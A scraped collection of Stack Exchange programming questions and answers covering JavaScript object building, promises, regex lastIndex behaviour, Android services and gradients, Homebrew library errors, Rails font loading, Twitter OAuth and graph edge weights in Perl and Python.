问:
Generic solution to create an Object of unknown deepth from an Array
I need to create a JSON object as follows:

```<code>{
    "app_name": "foo",
    "meta": {
        "title": "foo",
        "lang": "bar"
    },
    "teaser": {
        "foo": {
            "headline": "foo",
            "subline": "bar"
        }
    }
}
</code>```

The object tree is provided in the following representation:

```<code>var translations = [
    {
        "key": "app_name",
        "val": "foo"
    },
    {
        "key": "meta.title",
        "val": "foo"
    },
    {
        "key": "meta.lang",
        "val": "bar"
    },
    {
        "key": "teaser.foo.headline",
        "val": "foo"
    },
    {
        "key": "teaser.foo.subline",
        "val": "bar"
    }
];
</code>```

Now, I can't find a generic solution at the moment. Here's some code that would work for the given (simplified) example:

```<code>var finalObject = {};
for (var i in translations) {
    var translation = translations[i],
        translationKey = translation["key"],
        translationVal = translation["val"];

    var keyArray = translationKey.split("."),
        keyDepth = keyArray.length;

    if (keyDepth === 1) {
        finalObject[keyArray[0]] = translationVal;
    } else if (keyDepth === 2) {
        if (typeof finalObject[keyArray[0]] === 'object') {
            finalObject[keyArray[0]][keyArray[1]] = translationVal;
        } else {
            var item = {};
            item[keyArray[1]] = translationVal;
            finalObject[keyArray[0]] = item;
        }
    } else if (keyDepth === 3) {
        if (finalObject[keyArray[0]] && finalObject[keyArray[0]][keyArray[1]] && typeof finalObject[keyArray[0]][keyArray[1]] === 'object') {
            finalObject[keyArray[0]][keyArray[1]][keyArray[2]] = translationVal;
        } else {
            var item = {};
            item[keyArray[2]] = translationVal;
            if (!finalObject[keyArray[0]] || typeof finalObject[keyArray[0]] !== 'object') {
                finalObject[keyArray[0]] = {};
            }
            finalObject[keyArray[0]][keyArray[1]] = item;
        }
    }
}
</code>```

But this is as ugly as unreliable. I'd like to replace this part:

```<code>    if (keyDepth === 1) {
        finalObject[keyArray[0]] = translationVal;
    } else if (keyDepth === 2) {
       //...
    }
</code>```

with

```<code>    if (keyDepth === 1) {
        finalObject[keyArray[0]] = translationVal;
    } else {
        //some generic solution, which works for any deepth
    }
</code>```

Any ideas?

答:
You could take an iterative approach by using a default object if a property does not exists.

function setValue(object, key, value) {
    var path = key.split('.'),
        last = path.pop();

    path.reduce(function (o, k) {
        return o[k] = o[k] || {};
    }, object)[last] = value;
}

var translations = [{ key: "app_name", val: "foo" }, { key: "meta.title", val: "foo" }, { key: "meta.lang", val: "bar" }, { key: "teaser.foo.headline", val: "foo" }, { key: "teaser.foo.subline", val: "bar" }],
    object = {};

translations.forEach(function (o) {
    setValue(object, o.key, o.val);
});

console.log(object);```
<pre class="snippet-code-css lang-css prettyprint-override"><code>.as-console-wrapper { max-height: 100% !important; top: 0; }</code>```

Body:
I need to create a JSON object as follows:

{
    "app_name": "foo",
    "meta": {
        "title": "foo",
        "lang": "bar"
    },
    "teaser": {
        "foo": {
            "headline": "foo",
            "subline": "bar"
        }
    }
}

The object tree is provided in the following representation:

var translations = [
    {
        "key": "app_name",
        "val": "foo"
    },
    {
        "key": "meta.title",
        "val": "foo"
    },
    {
        "key": "meta.lang",
        "val": "bar"
    },
    {
        "key": "teaser.foo.headline",
        "val": "foo"
    },
    {
        "key": "teaser.foo.subline",
        "val": "bar"
    }
];

Now, I can't find a generic solution at the moment. Here's some code that would work for the given (simplified) example:

var finalObject = {};
for (var i in translations) {
    var translation = translations[i],
        translationKey = translation["key"],
        translationVal = translation["val"];

    var keyArray = translationKey.split("."),
        keyDepth = keyArray.length;

    if (keyDepth === 1) {
        finalObject[keyArray[0]] = translationVal;
    } else if (keyDepth === 2) {
        if (typeof finalObject[keyArray[0]] === 'object') {
            finalObject[keyArray[0]][keyArray[1]] = translationVal;
        } else {
            var item = {};
            item[keyArray[1]] = translationVal;
            finalObject[keyArray[0]] = item;
        }
    } else if (keyDepth === 3) {
        if (finalObject[keyArray[0]] && finalObject[keyArray[0]][keyArray[1]] && typeof finalObject[keyArray[0]][keyArray[1]] === 'object') {
            finalObject[keyArray[0]][keyArray[1]][keyArray[2]] = translationVal;
        } else {
            var item = {};
            item[keyArray[2]] = translationVal;
            if (!finalObject[keyArray[0]] || typeof finalObject[keyArray[0]] !== 'object') {
                finalObject[keyArray[0]] = {};
            }
            finalObject[keyArray[0]][keyArray[1]] = item;
        }
    }
}

But this is as ugly as unreliable. I'd like to replace this part:

    if (keyDepth === 1) {
        finalObject[keyArray[0]] = translationVal;
    } else if (keyDepth === 2) {
       //...
    }

with

    if (keyDepth === 1) {
        finalObject[keyArray[0]] = translationVal;
    } else {
        //some generic solution, which works for any deepth
    }

Any ideas?

Body:
You could take an iterative approach by using a default object if a property does not exists.

function setValue(object, key, value) {
    var path = key.split('.'),
        last = path.pop();

    path.reduce(function (o, k) {
        return o[k] = o[k] || {};
    }, object)[last] = value;
}

var translations = [{ key: "app_name", val: "foo" }, { key: "meta.title", val: "foo" }, { key: "meta.lang", val: "bar" }, { key: "teaser.foo.headline", val: "foo" }, { key: "teaser.foo.subline", val: "bar" }],
    object = {};

translations.forEach(function (o) {
    setValue(object, o.key, o.val);
});

console.log(object);

.as-console-wrapper { max-height: 100% !important; top: 0; }


来源: stackexchange

问:
How to wait for all promises being added to array in forEach loop?
I would like my function to return array of promises. The code inside the function is asynchronous. I need to check each element for its type and do some processing. I do not know how the function can return all promises - once it has done the asynchronous processing. JSFiddle</p>

```<code>function addFeatures (input) {

  var result = [];
  input.forEach(function (el) {

    if (Number.isInteger(el)) {
      // placeholder asynchronous
      setTimeout(function () {
        result.push(
          new Promise(function (resolve, reject) {
            resolve(el.toString() + 'string')
          })
        )
      }, 2000);
    }
    else {
      // placeholder synchronous
      result.push(
        new Promise(function (resolve, reject) {
          resolve(el + 'string')
        }));
    }
  })
  return result;
};

var arr = [1, 'text']
var final = addFeatures(arr)
// should log 2 promises but logs only 1 - the synchronous
console.log(final)
</code>```

答:
The important thing is to create the promise immediately and do the asynchronous stuff inside of it:

```<code>function addFeatures (input) {
  var result = [];
  input.forEach(function (el) {
    result.push(new Promise(function (resolve, reject) {
      if (Number.isInteger(el)) {
        // placeholder asynchronous
        setTimeout(function () {
          resolve(el.toString() + 'string')
        }, 2000);
      } else {
        // placeholder synchronous
        resolve(el + 'string')
      }
    });
  });
  return result;
}
</code>```

I would also recommend to use map instead of forEach+push.

ContentLicense: CC BY-SA 3.0

Body:
I would like my function to return array of promises. The code inside the function is asynchronous. I need to check each element for its type and do some processing. I do not know how the function can return all promises - once it has done the asynchronous processing. JSFiddle

function addFeatures (input) {

  var result = [];
  input.forEach(function (el) {

    if (Number.isInteger(el)) {
      // placeholder asynchronous
      setTimeout(function () {
        result.push(
          new Promise(function (resolve, reject) {
            resolve(el.toString() + 'string')
          })
        )
      }, 2000);
    }
    else {
      // placeholder synchronous
      result.push(
        new Promise(function (resolve, reject) {
          resolve(el + 'string')
        }));
    }
  })
  return result;
};

var arr = [1, 'text']
var final = addFeatures(arr)
// should log 2 promises but logs only 1 - the synchronous
console.log(final)

Body:
The important thing is to create the promise immediately and do the asynchronous stuff inside of it:

function addFeatures (input) {
  var result = [];
  input.forEach(function (el) {
    result.push(new Promise(function (resolve, reject) {
      if (Number.isInteger(el)) {
        // placeholder asynchronous
        setTimeout(function () {
          resolve(el.toString() + 'string')
        }, 2000);
      } else {
        // placeholder synchronous
        resolve(el + 'string')
      }
    });
  });
  return result;
}

I would also recommend to use map instead of forEach+push.


问:
How to programatically change the startColor attribute of gradient - Android
I have a shape that I'm using in a layout. I want the color to be programmatically changed in my activity.

```<code><shape android:id="@+id/shape1" xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle">
   <gradient android:id="@+id/gradient1"
        android:startColor="@color/widget_header"
        android:endColor="#0000CC"
        android:angle="270"/>

   <corners android:bottomRightRadius="1dp"
        android:bottomLeftRadius="1dp"
        android:topLeftRadius="7dp"
        android:topRightRadius="7dp"/>
</shape>
</code>```

Is there any way I could change the "startColor" and "endColor" attributes in my Activity?

答: Check this out, there's quite a bit of additional code but it seems to demonstrate how to create a drawable and gradient drawable in code... look around line 159. You may not need to create the shape in XML as you will probably need to progmatically create the shape etc</p>

ContentLicense: CC BY-SA 2.5

Body:
I have a shape that I'm using in a layout. I want the color to be programmatically changed in my activity.

<shape android:id="@+id/shape1" xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle">
   <gradient android:id="@+id/gradient1"
        android:startColor="@color/widget_header"
        android:endColor="#0000CC"
        android:angle="270"/>

   <corners android:bottomRightRadius="1dp"
        android:bottomLeftRadius="1dp"
        android:topLeftRadius="7dp"
        android:topRightRadius="7dp"/>
</shape>

Is there any way I could change the "startColor" and "endColor" attributes in my Activity?


问:
dyld: Library not loaded: /usr/local/lib/liblua.5.1.5.dylib
I got the following error while trying to invoke terminal Vim (terminal app from MacVim directory); after I updated homebrew, rvm & reinstalled a new version of Ruby.

```<code>dyld: Library not loaded: /usr/local/lib/liblua.5.1.5.dylib
  Referenced from: /Applications/MacVim.app/Contents/MacOS/Vim
  Reason: image not found
</code>```

Note: Was able to solve it, so  thought I would record if someone stumbles on the same issue.

答:
I had the similar message:

```<code>dyld: Library not loaded: /usr/local/opt/lua/lib/liblua.5.2.dylib
</code>```

Switching version helped to me:

```<code>$ brew switch lua 5.2.1
    Error: lua does not have a version "5.2.1" in the Cellar.
    Versions available: 5.2.4_1, 5.2.4_3, 5.2.4_4, 5.3.4_2
$ brew switch lua 5.2.4_4
    Cleaning /usr/local/Cellar/lua/5.3.4_2
    Cleaning /usr/local/Cellar/lua/5.2.4_3
    Cleaning /usr/local/Cellar/lua/5.2.4_4
    Cleaning /usr/local/Cellar/lua/5.2.4_1
    71 links created for /usr/local/Cellar/lua/5.2.4_4
</code>```

Body:
I got the following error while trying to invoke terminal Vim (terminal app from MacVim directory); after I updated homebrew, rvm & reinstalled a new version of Ruby.

dyld: Library not loaded: /usr/local/lib/liblua.5.1.5.dylib
  Referenced from: /Applications/MacVim.app/Contents/MacOS/Vim
  Reason: image not found

Note: Was able to solve it, so  thought I would record if someone stumbles on the same issue.

Body:
I had the similar message:

dyld: Library not loaded: /usr/local/opt/lua/lib/liblua.5.2.dylib

Switching version helped to me:

$ brew switch lua 5.2.1
    Error: lua does not have a version "5.2.1" in the Cellar.
    Versions available: 5.2.4_1, 5.2.4_3, 5.2.4_4, 5.3.4_2
$ brew switch lua 5.2.4_4
    Cleaning /usr/local/Cellar/lua/5.3.4_2
    Cleaning /usr/local/Cellar/lua/5.2.4_3
    Cleaning /usr/local/Cellar/lua/5.2.4_4
    Cleaning /usr/local/Cellar/lua/5.2.4_1
    71 links created for /usr/local/Cellar/lua/5.2.4_4


问:
Can I save the keyboard input in a list?
I have a code, where pressing a key reproduces a sound generated by the computer, my concern is, how can I store the keys in the order they were pressed in a list and print it?

Here is the code:

```<code>from array import array
import pygame
from pygame.mixer import Sound, get_init,  pre_init

class Note(pygame.mixer.Sound):

def __init__(self, frequency, volume=.1):
    self.frequency = frequency
    Sound.__init__(self, self.build_samples())
    self.set_volume(volume)

def build_samples(self):
    period = int(round(get_init()[0] / self.frequency))
    samples = array("h", [0] * period)
    amplitude = 2 ** (abs(get_init()[1]) - 1) - 1
    for time in range(period):
        if time < period / 2:
            samples[time] = amplitude
        else:
            samples[time] = -amplitude
    return samples
pre_init(44100, -16, 1, 1024)
pygame.init()
screen = pygame.display.set_mode([640, 480], 0)

sounds = {}
keymap = {pygame.K_p: 880, pygame.K_r: 440}

while True:
    key_pressed=[]
    evt = pygame.event.wait()
    if evt.type == pygame.QUIT:
        break
    elif evt.type == pygame.KEYDOWN:
        if evt.key in keymap:
            note = Note(keymap[evt.key])
            note.play(-1)
            sounds[evt.key] = note
            key_pressed.append(note)
    elif evt.type == pygame.KEYUP:
        if evt.key in sounds:
            sounds.pop(evt.key).stop()
</code>```

答:
Here is the problem !!!

```<code>while True:
    key_pressed=[]
</code>```

and here is the solution :

```<code>key_pressed_list = key_pressed
print(key_pressed_list)
</code>```

Body:
I have a code, where pressing a key reproduces a sound generated by the computer, my concern is, how can I store the keys in the order they were pressed in a list and print it?

Here is the code:

from array import array
import pygame
from pygame.mixer import Sound, get_init,  pre_init

class Note(pygame.mixer.Sound):

def __init__(self, frequency, volume=.1):
    self.frequency = frequency
    Sound.__init__(self, self.build_samples())
    self.set_volume(volume)

def build_samples(self):
    period = int(round(get_init()[0] / self.frequency))
    samples = array("h", [0] * period)
    amplitude = 2 ** (abs(get_init()[1]) - 1) - 1
    for time in range(period):
        if time < period / 2:
            samples[time] = amplitude
        else:
            samples[time] = -amplitude
    return samples
pre_init(44100, -16, 1, 1024)
pygame.init()
screen = pygame.display.set_mode([640, 480], 0)

sounds = {}
keymap = {pygame.K_p: 880, pygame.K_r: 440}

while True:
    key_pressed=[]
    evt = pygame.event.wait()
    if evt.type == pygame.QUIT:
        break
    elif evt.type == pygame.KEYDOWN:
        if evt.key in keymap:
            note = Note(keymap[evt.key])
            note.play(-1)
            sounds[evt.key] = note
            key_pressed.append(note)
    elif evt.type == pygame.KEYUP:
        if evt.key in sounds:
            sounds.pop(evt.key).stop()

Body:
Here is the problem !!!

while True:
    key_pressed=[]

and here is the solution :

key_pressed_list = key_pressed
print(key_pressed_list)


问:
The regular expression doesn't work equal in different code even being the same input
I'm creating a code, a part of this code uses a regular expression which is:

var ex = "122", checker = /(\d)\1{1,}/g,
    c = pattern.test(+ex);
if(c) console.log(`works.`);```
</div>
</div>
</p>

<p>My goal is to check if there is a repeated number.</p>

<p>The problem arises when I use the above snippet in a larger section of code. I have the <strong>same input</strong> at the above snippet, but in the below code, the regex isnt work</p>

<p>Here is the code:</p>

<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function almostIncreasingSequence(sequence) {
    var clone = [].concat(sequence),
        l = clone.length,
        pattern = /(\d)\1{2,}/ig;
    if (pattern.test(clone)) {
        return false;
    }

    var sorted = sequence.splice(0).sort(function(a, b) {
            return a - b;
        }),
        element, finder, checker = /(\d)\1{1,}/g;

    for (var i = 0; i < l; ++i) {
        element = clone[i];
        finder = sorted.indexOf(element);
        clone.splice(i, 1);
        sorted.splice(finder, 1);
        if (clone.join("") === sorted.join("") && !checker.test(+clone.join(""))) {
            /*
            In the conditional above, i use the regex
            */
            console.log(`
            Same input: ${+clone.join("")}

            PD: This message, it should not be shown, since the conditional should not have been true,
            `);
            return true;
        } else {
            clone.splice(i, 0, element);
            sorted.splice(finder, 0, element);
        }
    }
    return false;
}
console.log(almostIncreasingSequence([1, 2, 1, 2]))</code>```

So in the first snippet code, the regex return true, but in the second snippet code, or the regex is bad or the negation isn't works, because i'm negating the result of regex, because the regex in the second snippet code have the same input as the first, so the negation of true is false .

答:
The issue is that you are using /g in your Regexp - when this is used, and the regex is executed multiple times, it will always begin where it left off last time.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex

This property is set only if the regular expression instance used the "g" flag to indicate a global search. The following rules apply:

If lastIndex is greater than the length of the string, test() and exec() fail, then lastIndex is set to 0.

If lastIndex is equal to the length of the string and if the regular expression matches the empty string, then the regular expression matches input starting at lastIndex.

If lastIndex is equal to the length of the string and if the regular expression does not match the empty string, then the regular expression mismatches input, and lastIndex is reset to 0.

Otherwise, lastIndex is set to the next position following the most recent match.

You can see this is happening by logging checker.lastIndex before you do checker.test, and you will see that when it fails, lastIndex is not 0.

function almostIncreasingSequence(sequence) {
    var clone = [].concat(sequence),
        l = clone.length,
        pattern = /(\d)\1{2,}/ig;
    if (pattern.test(clone)) {
        return false;
    }

    var sorted = sequence.splice(0).sort(function(a, b) {
            return a - b;
        }),
        element, finder, checker = /(\d)\1{1,}/g;

    for (var i = 0; i < l; ++i) {
        element = clone[i];
        finder = sorted.indexOf(element);
        clone.splice(i, 1);
        sorted.splice(finder, 1);
        console.log(checker.lastIndex)
        if (clone.join("") === sorted.join("") && !checker.test(+clone.join(""))) {
            /*
            checker.test(+clone.join("")) <-- HERE IS THE REGEX
            */
            console.log( `The number is ${+clone.join("")}
  and the regex return: ${checker.test(+clone.join(""))},
  so, if the regex return true, the negation operator, isnt work ? because im negating the returned value from the regex !checker.test
  `); // FALSE ? Why... ??
            return true;
        } else {
            clone.splice(i, 0, element);
            sorted.splice(finder, 0, element);
        }
    }
    return false;
}
console.log(almostIncreasingSequence([1, 2, 1, 2]))```
</div>
</div>
</p>
<p>Or, to use your first "working" code:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var ex = "122", checker = /(\d)\1{1,}/g,
    c = checker.test(+ex);
if(c) console.log(`works.`);
c = checker.test(+ex);
if(c) console.log(`works.`);</code>```

And it will only print works once, because you are checking it more than once and it has a /g on the Regexp.

Body:
I'm creating a code, a part of this code uses a regular expression which is:

var ex = "122", checker = /(\d)\1{1,}/g,
    c = pattern.test(+ex);
if(c) console.log(`works.`);

My goal is to check if there is a repeated number.

The problem arises when I use the above snippet in a larger section of code. I have the same input at the above snippet, but in the below code, the regex isnt work

Here is the code:

function almostIncreasingSequence(sequence) {
    var clone = [].concat(sequence),
        l = clone.length,
        pattern = /(\d)\1{2,}/ig;
    if (pattern.test(clone)) {
        return false;
    }

    var sorted = sequence.splice(0).sort(function(a, b) {
            return a - b;
        }),
        element, finder, checker = /(\d)\1{1,}/g;

    for (var i = 0; i < l; ++i) {
        element = clone[i];
        finder = sorted.indexOf(element);
        clone.splice(i, 1);
        sorted.splice(finder, 1);
        if (clone.join("") === sorted.join("") && !checker.test(+clone.join(""))) {
            /*
            In the conditional above, i use the regex
            */
            console.log(`
            Same input: ${+clone.join("")}

            PD: This message, it should not be shown, since the conditional should not have been true,
            `);
            return true;
        } else {
            clone.splice(i, 0, element);
            sorted.splice(finder, 0, element);
        }
    }
    return false;
}
console.log(almostIncreasingSequence([1, 2, 1, 2]))

So in the first snippet code, the regex return true, but in the second snippet code, or the regex is bad or the negation isn't works, because i'm negating the result of regex, because the regex in the second snippet code have the same input as the first, so the negation of true is false .

Body:
The issue is that you are using /g in your Regexp - when this is used, and the regex is executed multiple times, it will always begin where it left off last time.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex

This property is set only if the regular expression instance used the "g" flag to indicate a global search. The following rules apply:

If lastIndex is greater than the length of the string, test() and exec() fail, then lastIndex is set to 0.

If lastIndex is equal to the length of the string and if the regular expression matches the empty string, then the regular expression matches input starting at lastIndex.

If lastIndex is equal to the length of the string and if the regular expression does not match the empty string, then the regular expression mismatches input, and lastIndex is reset to 0.

Otherwise, lastIndex is set to the next position following the most recent match.

You can see this is happening by logging checker.lastIndex before you do checker.test, and you will see that when it fails, lastIndex is not 0.

function almostIncreasingSequence(sequence) {
    var clone = [].concat(sequence),
        l = clone.length,
        pattern = /(\d)\1{2,}/ig;
    if (pattern.test(clone)) {
        return false;
    }

    var sorted = sequence.splice(0).sort(function(a, b) {
            return a - b;
        }),
        element, finder, checker = /(\d)\1{1,}/g;

    for (var i = 0; i < l; ++i) {
        element = clone[i];
        finder = sorted.indexOf(element);
        clone.splice(i, 1);
        sorted.splice(finder, 1);
        console.log(checker.lastIndex)
        if (clone.join("") === sorted.join("") && !checker.test(+clone.join(""))) {
            /*
            checker.test(+clone.join("")) <-- HERE IS THE REGEX
            */
            console.log( `The number is ${+clone.join("")}
  and the regex return: ${checker.test(+clone.join(""))},
  so, if the regex return true, the negation operator, isnt work ? because im negating the returned value from the regex !checker.test
  `); // FALSE ? Why... ??
            return true;
        } else {
            clone.splice(i, 0, element);
            sorted.splice(finder, 0, element);
        }
    }
    return false;
}
console.log(almostIncreasingSequence([1, 2, 1, 2]))

Or, to use your first "working" code:

var ex = "122", checker = /(\d)\1{1,}/g,
    c = checker.test(+ex);
if(c) console.log(`works.`);
c = checker.test(+ex);
if(c) console.log(`works.`);

And it will only print works once, because you are checking it more than once and it has a /g on the Regexp.


问:
Failed to decode downloaded font, OTS parsing error: invalid version tag + rails 4
I am doing assets pre-compile, and running the application in production mode. After compilation when I load the my index page I got followings warnings in the chrome console:

```<code>Failed to decode downloaded font: http://localhost:3000/fonts/ionicons.ttf?v=2.0.0
prospects:1 OTS parsing error: invalid version tag
Failed to decode downloaded font: http://localhost:3000/fonts/ionicons.woff?v=2.0.0
prospects:1 OTS parsing error: invalid version tag
</code>```

The issue is its not loading icons instead of that its showing squares.

we used the custom fonts and the code is:

```<code>@font-face {
  font-family: 'icomoon';
  src: font-url('icomoon.eot');
  src: font-url('icomoon.eot?#iefix') format('embedded-opentype'),
       font-url('icomoon.ttf') format('truetype'),
       font-url('icomoon.woff') format('woff'),
       font-url('icomoon.svg#icomoon') format('svg');
  font-weight: normal;
  font-style: normal;
}
</code>```

I don't know what is missing from my end . I searched a lot and also tried solution but not got any success.In development mode its working fine but don't know why its showing square in the production mode.

答:
Go to the address below on GitHub and download each of the FontAwesome files.

https://github.com/FortAwesome/font-awesome-sass/tree/master/assets/fonts/font-awesome

...but instead of right-clicking and saving the link as, click on each of the files and use the 'Download' button to save them.

I found that saving the link as downloaded an HTML page and not the FontAwesome file binary itself.

Once I had all of the binaries it worked for me.

Body:
I am doing assets pre-compile, and running the application in production mode. After compilation when I load the my index page I got followings warnings in the chrome console:

Failed to decode downloaded font: http://localhost:3000/fonts/ionicons.ttf?v=2.0.0
prospects:1 OTS parsing error: invalid version tag
Failed to decode downloaded font: http://localhost:3000/fonts/ionicons.woff?v=2.0.0
prospects:1 OTS parsing error: invalid version tag

The issue is its not loading icons instead of that its showing squares.

we used the custom fonts and the code is:

@font-face {
  font-family: 'icomoon';
  src: font-url('icomoon.eot');
  src: font-url('icomoon.eot?#iefix') format('embedded-opentype'),
       font-url('icomoon.ttf') format('truetype'),
       font-url('icomoon.woff') format('woff'),
       font-url('icomoon.svg#icomoon') format('svg');
  font-weight: normal;
  font-style: normal;
}

I don't know what is missing from my end . I searched a lot and also tried solution but not got any success.In development mode its working fine but don't know why its showing square in the production mode.


问:
Python login to website via twitter
A website use 'login via twitter'. Just like this site use facebook. How do I log in and get login cookies for the website (using python), if I know twitter username and password?</p>

答:
In general , Twitter doesn't support 'username' and 'password' Authentication. Now, Twitter uses OAuth2 for authentication. There are python-twitter libraries available for this. such as : https://github.com/simplegeo/python-oauth2

This could be helpful to You: http://abhi74k.wordpress.com/2010/12/21/tweeting-from-python/

Title: Python login to website via twitter


问:
Stateful long living android service
I am trying to implement something like scrobbler (the app which retrieves current playing song metadata and write it to database on my server).

So I have a service like that

```<code>public class ListenerService extends Service {

    private static final int SCROBBLE_TIME_PERIOD = 30000;

    private Song currentSong;
    private Date startListeningTime;

    public ListenerService() {
    }

    @Override
    public void onCreate() {
        super.onCreate();
        IntentFilter filter = new IntentFilter();
        //Google Android player
        filter.addAction("com.android.music.playstatechanged");
        filter.addAction("com.android.music.playbackcomplete");
        filter.addAction("com.android.music.metachanged");

        registerReceiver(mReceiver, filter);
    }

    private BroadcastReceiver mReceiver = new BroadcastReceiver() {

        @Override
        public void onReceive(Context context, Intent intent) {
            Song song = new Song(intent.getStringExtra("artist"), intent.getStringExtra("album"),
                    intent.getStringExtra("track"));

            if (!currentSong.equals(song)) {
                currentSong = song;
                startListeningTime = new Date();
            }
        }
    };

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (new Date().getTime() - startListeningTime.getTime() >= SCROBBLE_TIME_PERIOD) {
            ///... write song to db
            currentSong = null;
        }
        return super.onStartCommand(intent, flags, startId);
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}
</code>```

In onCreate() method I register reciever. The reciver just update current playing song variable and set time when playing was started.

I want to call periodically onStartCommand() method which just checks that current song is playing more than 30 seconds and writting it to database.
I google it, but all examples show how to create a new service periodically when I want to call onStartCommand of existing service (just send new intent to it).
Is there any way to do it?

UPD.
In another post I read that in android it is impossible to make service live forever (while the phone is on). So when android kill my service, I will lose info from currentSong and startListeningTime variables. Should I store this sort of information in some other place (where?) or there is some working way to prevent service from force closing?

答:
You can select your service type based on returning value in onStartCommand.
 If you return START_NOT_STICKY, whenever service is killed, it won't be created again.

If you return START_STICKY, whenever service is killed, it will be created again from OS. But be careful, intent will be null in this case.

If you return START_REDELIVER_INTENT, whenever service is killed, it will be created with last intent which service created before.

Checkout this link to learn more about service at background

https://developer.android.com/reference/android/app/Service.html

```<code>Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (new Date().getTime() - startListeningTime.getTime() >= SCROBBLE_TIME_PERIOD) {
            ///... write song to db
            currentSong = null;
        }
        return START_STICKY;//if you write START_STICKY service will always stay at background.
    }
</code>```

UPD. In another post I read that in android it is impossible to make service live forever (while the phone is on). So when android kill my service, I will lose info from currentSong and startListeningTime variables. Should I store this sort of information in some other place (where?) or there is some working way to prevent service from force closing?

You can store all information into internal storage or database. You can use SharedPreferences if you store only basic types(or you can use GSON to store complex type into it).

In this application you might use Alarm Manager if you have periodic jobs, and start your service at 30 secs.

OnStartCommand is called everytime you run startService method. So you are not creating a new service, you are sending an intent to it.

Title: Stateful long living android service

Body:
I am trying to implement something like scrobbler (the app which retrieves current playing song metadata and write it to database on my server).

So I have a service like that

public class ListenerService extends Service {

    private static final int SCROBBLE_TIME_PERIOD = 30000;

    private Song currentSong;
    private Date startListeningTime;

    public ListenerService() {
    }

    @Override
    public void onCreate() {
        super.onCreate();
        IntentFilter filter = new IntentFilter();
        //Google Android player
        filter.addAction("com.android.music.playstatechanged");
        filter.addAction("com.android.music.playbackcomplete");
        filter.addAction("com.android.music.metachanged");

        registerReceiver(mReceiver, filter);
    }

    private BroadcastReceiver mReceiver = new BroadcastReceiver() {

        @Override
        public void onReceive(Context context, Intent intent) {
            Song song = new Song(intent.getStringExtra("artist"), intent.getStringExtra("album"),
                    intent.getStringExtra("track"));

            if (!currentSong.equals(song)) {
                currentSong = song;
                startListeningTime = new Date();
            }
        }
    };

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (new Date().getTime() - startListeningTime.getTime() >= SCROBBLE_TIME_PERIOD) {
            ///... write song to db
            currentSong = null;
        }
        return super.onStartCommand(intent, flags, startId);
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

}

In onCreate() method I register reciever. The reciver just update current playing song variable and set time when playing was started.

I want to call periodically onStartCommand() method which just checks that current song is playing more than 30 seconds and writting it to database.
I google it, but all examples show how to create a new service periodically when I want to call onStartCommand of existing service (just send new intent to it).
Is there any way to do it?

UPD.
In another post I read that in android it is impossible to make service live forever (while the phone is on). So when android kill my service, I will lose info from currentSong and startListeningTime variables. Should I store this sort of information in some other place (where?) or there is some working way to prevent service from force closing?

Body:
You can select your service type based on returning value in onStartCommand.
 If you return START_NOT_STICKY, whenever service is killed, it won't be created again.

If you return START_STICKY, whenever service is killed, it will be created again from OS. But be careful, intent will be null in this case.

If you return START_REDELIVER_INTENT, whenever service is killed, it will be created with last intent which service created before.

Checkout this link to learn more about service at background

https://developer.android.com/reference/android/app/Service.html

Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (new Date().getTime() - startListeningTime.getTime() >= SCROBBLE_TIME_PERIOD) {
            ///... write song to db
            currentSong = null;
        }
        return START_STICKY;//if you write START_STICKY service will always stay at background.
    }

UPD. In another post I read that in android it is impossible to make service live forever (while the phone is on). So when android kill my service, I will lose info from currentSong and startListeningTime variables. Should I store this sort of information in some other place (where?) or there is some working way to prevent service from force closing?

You can store all information into internal storage or database. You can use SharedPreferences if you store only basic types(or you can use GSON to store complex type into it).

In this application you might use Alarm Manager if you have periodic jobs, and start your service at 30 secs.

OnStartCommand is called everytime you run startService method. So you are not creating a new service, you are sending an intent to it.


问:
How can I assign a weight for frequency score to a graph's edge using Graph::Easy
How do I assign a weight or frequency score to an graph's edge using Graph::Easy?

I have a list of bigrams and their frequencies. I can easily create a (mathematical) graph of only the bigrams using Graph::Easy. The output is exactly what I desire. But when I try to "set_attribute" I get an error that says, "'frequency' is not a valid attribute name". What am I doing wrong? Using Graph::Easy, how do I make frequency a valid attribute?

```<code>#!/usr/bin/perl

# graph.pl - given a list of bigrams and their frequencies, output graphml

# require
use Graph::Easy;
use strict;

# initialize
my $graph = Graph::Easy->new;

# process the data
while ( <DATA> ) {

    # parse
    chop;
    my ( $nodes, $frequency ) = split( "\t", $_ );
    my ( $source, $target )   = split( ' ', $nodes );

    # update the graph
    my $edge = $graph->add_edge( $source, $target );

    # error happen here
    $edge->set_attribute( 'frequency', $frequency );

}

# output & done
print $graph->as_graphml();
exit;

# a set of bigrams and their frequencies
__DATA__
cds classroom   4
maximum registration    4
may want    3
anomalies within    2
resulting analysis  2
participants may    2
corpus without  2
journal articles    2
quickly learn   2
active reading  2
text mining     2
literally count     2
find patterns   2
14 million  2
digital humanities  2
humanities research     2
</code>```

答:
The "best" answer for me is to not use Graph::Easy but instead use a Python module, NetworkX:</p>

```<code>#!/usr/bin/python

# graph.py - given a CSV file of a specific shape, output graphml

# configure
DATA  = './data.csv'
GRAPH = './data.graphml'
LABEL = 'frequency'

# require
import networkx as nx
import csv

# initialize
g = nx.DiGraph()

# read the data
with open( DATA, 'r' ) as f :

    # initialize
    r = csv.reader( f, delimiter='\t')

    # process each record
    for source, target, frequency in r :

        # sanity check
        if len( source ) == 0 or len( target ) == 0 : continue

        # update the graph
        g.add_edge( source, target )
        g[ source ][ target ][ LABEL ] = frequency

# output & done
nx.write_graphml( g, GRAPH )
exit()
</code>```

Body:
How do I assign a weight or frequency score to an graph's edge using Graph::Easy?

